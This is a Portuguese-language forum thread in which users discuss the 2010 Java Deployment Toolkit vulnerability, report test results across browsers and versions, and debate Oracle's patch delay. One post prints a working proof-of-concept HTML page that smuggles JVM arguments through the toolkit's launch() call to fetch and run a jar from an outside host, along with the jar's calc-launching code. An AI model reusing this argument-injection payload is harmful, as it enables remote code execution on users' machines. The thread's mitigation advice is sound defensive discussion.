[quote=rogelgarcia]Pra voces verem como a falha é grave…
E se ao invés de abrir a calculadora… fosse um format c:
:shock:
[/quote]
eu iria na sua casa lhe bater por ter passado o link!(to zuando)
mais o problema é sério mesmo!
Temos que ver ai eu mesmo vou atualizar meu JRE!
vlw
Unable to access jar file, no firefox 3.6.2, alem do que o firefox ficou pedindo pra instalar um plugin, porem nao encontrava o mesmo.
O problema é justamente esse… não tem atualização :shock: :shock: :shock:
E a Oracle falou que não vai fazer!!! Só daqui a 3 meses
[quote=rogelgarcia][quote=UMC]
eu iria na sua casa lhe bater por ter passado o link!(to zuando)
mais o problema é sério mesmo!
Temos que ver ai eu mesmo vou atualizar meu JRE!
vlw
[/quote]
O problema é justamente esse… não tem atualização :shock: :shock: :shock:
E a Oracle falou que não vai fazer!!! Só daqui a 3 meses[/quote]
usa o jdk7. Vai ver o pessoal antecipou esse problema e corrigiu.
[quote=rogelgarcia][quote=UMC]
eu iria na sua casa lhe bater por ter passado o link!(to zuando)
mais o problema é sério mesmo!
Temos que ver ai eu mesmo vou atualizar meu JRE!
vlw
[/quote]
O problema é justamente esse… não tem atualização :shock: :shock: :shock:
E a Oracle falou que não vai fazer!!! Só daqui a 3 meses[/quote]
mais versão do meu 1.6.0_16 e o colega ali acima tem 1.6.0_19!
Ou então deixa rolar!
Por eu uso o Chrome e não executar essas aplicações!
vlw
[quote=juliocbq][quote=rogelgarcia][quote=UMC]
eu iria na sua casa lhe bater por ter passado o link!(to zuando)
mais o problema é sério mesmo!
Temos que ver ai eu mesmo vou atualizar meu JRE!
vlw
[/quote]
O problema é justamente esse… não tem atualização :shock: :shock: :shock:
E a Oracle falou que não vai fazer!!! Só daqui a 3 meses[/quote]
usa o jdk7. Vai ver o pessoal antecipou esse problema e corrigiu.[/quote]
ah beleza vou fazer o download e instalar hoje ainda!
vlw
Aqui funcionou tbm, meu JRE é o u19, coisa complicada hein.
Usei so no FireFox
[quote=Felagund]Aqui funcionou tbm, meu JRE é o u19, coisa complicada hein.
Usei so no FireFox[/quote]
i agora ferrou tudo! rs
16 roda 19 roda também!
Tem mais alguém ae que no 19 rodou??!!
vlw
Sinistro, nao tenho plugin instalado e mesmo assim abriu a calculadora. :shock:
editado: parece que esta instalado sim, desinstalando agora!
Por acaso alguém recebeu algum email da Atlassian sugerindo a todos para trocar de senha?
Parece que houve um problema sério lá, sabem me dizer se isso estava ligado com esse exploit?
[quote=rogelgarcia]Link com um teste não nocivo
[REMOVIDO, TROJAN][/quote]
Vocês são doidos em ficar clicando assim né… pelo menos execute esses testes em um máquina virtual, tipo VMWare ou similar… e depois reverta o restore point…
O pior são aqueles que saem clicando e ainda logado como root… aí depois pega um trojan com nível de kernel e aí já viu né… conheço vários pessoas próximas que já tiveram o dinheiro zerado e limite do cheque especial no talo…
Essas vulnerabilidades são super comuns… todo mês aparece 1 ou 2… não tem FireWall ou Anti-Vírus que vai pegar isso, porque esse pessoal que fica instalando Trojan só usa executáveis que nunca foram pegos na assinatura e ainda por cima usam comunicação através do próprio IE… ou seja a porta 80… e ainda com processo atachado ao IE…
[quote=Leozin]Por acaso alguém recebeu algum email da Atlassian sugerindo a todos para trocar de senha?
Parece que houve um problema sério lá, sabem me dizer se isso estava ligado com esse exploit?[/quote]
Não. Essa foi por alguem descobriu que Atlassian guarda passwords dos seus clientes em arquivo texto mesmo.
Bom dia,
Obrigado santoro pela informação.
Nota : Crackers não são criminosos !! duas coisas differentes. Crime é um adjetivo muito forte nestes casos ...
[b]A segurança do computador é uma questão de ser cuidadosos e estar bem informado.[/b]
Eu à mais de 10 anos sem problemas com vírus, trojans, worms, mas eu vi passar Sasser, I love you ... etc.
O unico vírus que eu tenho em minha máquina chama-se : Norton.
Depois de ter instalado jdk1.6.0_19 e o JRE 1.6.0_19 associado :
Eu testei no Win XP :
---> Mozilla 1.7.13 : Resultado : Nada !
---> Mozilla SeaMonkey 1.1.16 : Resultado : Nada !
---> Mozilla Firefox 3.6.3 : Resultado : Calc
---> Google Chrome 4.1.249.1045 : Resultado : Calc
---> Safari 4.0.5 : Resultado : Calc
---> IE x não utiliso !
---> Opera (Eu não testei)
Soluções :
1- Não instale o JRE apenas JDK (config env vars PATH e JAVA_HOME)
2- Configura o browser para que ele não pode executar Java.
3- Utilise JDK 7 (Eu não testei) https://jdk7.dev.java.net/
4- Outras ??
//-------------------------------------- Code Analysis testcase.html -------------
<html>
<head><title>Java Deployment Toolkit Test Page</title></head>
<body>
<script language="JavaScript">
<!--
function SymError()
{
return true;
}
window.onerror = SymError;
//-->
</script>
<script>
// Tavis Ormandy <taviso@sdf.lonestar.org>, April 2010
var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var o = document.createElement("OBJECT");
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
// Trigger the bug
o.launch(u);
} else {
// Mozilla
var o = document.createElement("OBJECT");
var n = document.createElement("OBJECT");
o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
n.type = "application/java-deployment-toolkit";
document.body.appendChild(o);
document.body.appendChild(n);
// Test both MIME types
try {
// Old type
o.launch(u);
} catch (e) {
// New type
n.launch(u);
}
}
// Bonus Vulnerability, why not downgrade victim to a JRE vulnerable to
// this classic exploit?
// http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1
// o.installJRE("1.4.2_18");
</script>
</body>
</html>//-----------------------------------Code Analysis Main.class in file calc.jar -----------
public class Main
{
public Main()
{
}
public static void main(String args[])
throws Exception
{
Runtime.getRuntime().exec("cmd.exe /c calc.exe");
}
}Contexto :
O erro está relacionado com o plugin Java Deployment Toolkit encontrado em navegadores web, devido à sua instalação automática com o JRE (Java Runtime Environment). Sugerido como um controle ActiveX para o Internet Explorer ou um plugin NPAPI para o Firefox e outros , Java Deployment Toolkit é considerado seguro e fornece aos desenvolvedores um caminho para distribuir suas aplicações para os usuários finais.
Problema :
Argumentos arbitrários podem ser passados para javaw.exe e executar um arquivo JAR .
Solução :
Desativar o JavaScript não protege contra a exploração da vulnerabilidade. Para o Internet Explorer, parar o ActiveX classe CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA , e para o Firefox para desabilitar o Java Deployment Toolkit a partir do gerenciador de plugins.
Abraços
Li esta notícia no trabalho hoje de manhã.
Depois do expediente, fui pesquisar no google algumas características de um celular que estou interessado em comprar.
Entrei em um dos primeiros links do resultado da busca feita no google. Ao carregar a página, percebi um Java Web Start iniciando e pensei: “Ué, mas aonde que tem java nesta página?”.
Não deu 2 minutos o meu antivírus estava avisando que tinha um vírus na minha máquina.
Será que irá acontecer uma onda de ataques utilizando java?
Eu acho um absurdo uma empresa como a Oracle dizer que só irá corrigir este problema de segurança no próximo update, daqui 3 meses, pois acabou de lançar um update agora.
Acredito que o Java tem uma reputação a zelar, mas enfim…
Vamos aguardar para ver o que acontece
Abraços
[quote=Felipe Kan][quote=rogelgarcia]Link com um teste não nocivo
[REMOVIDO, TROJAN][/quote]
Vocês são doidos em ficar clicando assim né… pelo menos execute esses testes em um máquina virtual, tipo VMWare ou similar… e depois reverta o restore point…
O pior são aqueles que saem clicando e ainda logado como root… aí depois pega um trojan com nível de kernel e aí já viu né… conheço vários pessoas próximas que já tiveram o dinheiro zerado e limite do cheque especial no talo…
Essas vulnerabilidades são super comuns… todo mês aparece 1 ou 2… não tem FireWall ou Anti-Vírus que vai pegar isso, porque esse pessoal que fica instalando Trojan só usa executáveis que nunca foram pegos na assinatura e ainda por cima usam comunicação através do próprio IE… ou seja a porta 80… e ainda com processo atachado ao IE… [/quote]
Os bancos que resolvam isto pra mim, eu nao tenho nada haver com isto!!
Quem perdeu cheque especial, limite e o escambau e ficou quieto mané que é, os bancos cobrem isto, é obrigaçao deles lhe dar segurança.
[quote=fredferrao]
Os bancos que resolvam isto pra mim, eu nao tenho nada haver com isto!!
Quem perdeu cheque especial, limite e o escambau e ficou quieto mané que é, os bancos cobrem isto, é obrigaçao deles lhe dar segurança.[/quote]
E depois reclamam dos políticos do pais…
[quote=clone_zealot][quote=fredferrao]
Os bancos que resolvam isto pra mim, eu nao tenho nada haver com isto!!
Quem perdeu cheque especial, limite e o escambau e ficou quieto mané que é, os bancos cobrem isto, é obrigaçao deles lhe dar segurança.[/quote]
E depois reclamam dos políticos do pais…[/quote]
Porque?? Algo errado? Se voce me oferece um sistema a segurança tem que vir junto. Tanto é que todos os casos que tenho conhecimento o banco ressarciu na hora o cliente lesado por fraude.
Inclusive meu cartão quando foi clonado não tive problema algum, alias a propria operadora identificou pra mim e tomou todas as ações.
Nao misture as coisas, nao estamos falando de politica. Estamos falando de produtos e empresas e na segurança destes produtos.
[quote=fredferrao][quote=clone_zealot][quote=fredferrao]
Os bancos que resolvam isto pra mim, eu nao tenho nada haver com isto!!
Quem perdeu cheque especial, limite e o escambau e ficou quieto mané que é, os bancos cobrem isto, é obrigaçao deles lhe dar segurança.[/quote]
E depois reclamam dos políticos do pais…[/quote]
Porque?? Algo errado? Se voce me oferece um sistema a segurança tem que vir junto. Tanto é que todos os casos que tenho conhecimento o banco ressarciu na hora o cliente lesado por fraude.
Inclusive meu cartão quando foi clonado não tive problema algum, alias a propria operadora identificou pra mim e tomou todas as ações.
Nao misture as coisas, nao estamos falando de politica. Estamos falando de produtos e empresas e na segurança destes produtos.[/quote]
Acho que ele pensa que todo cidadão deveria ser especialista em segurança na rede.
Aqui abriu a Calculadora :roll: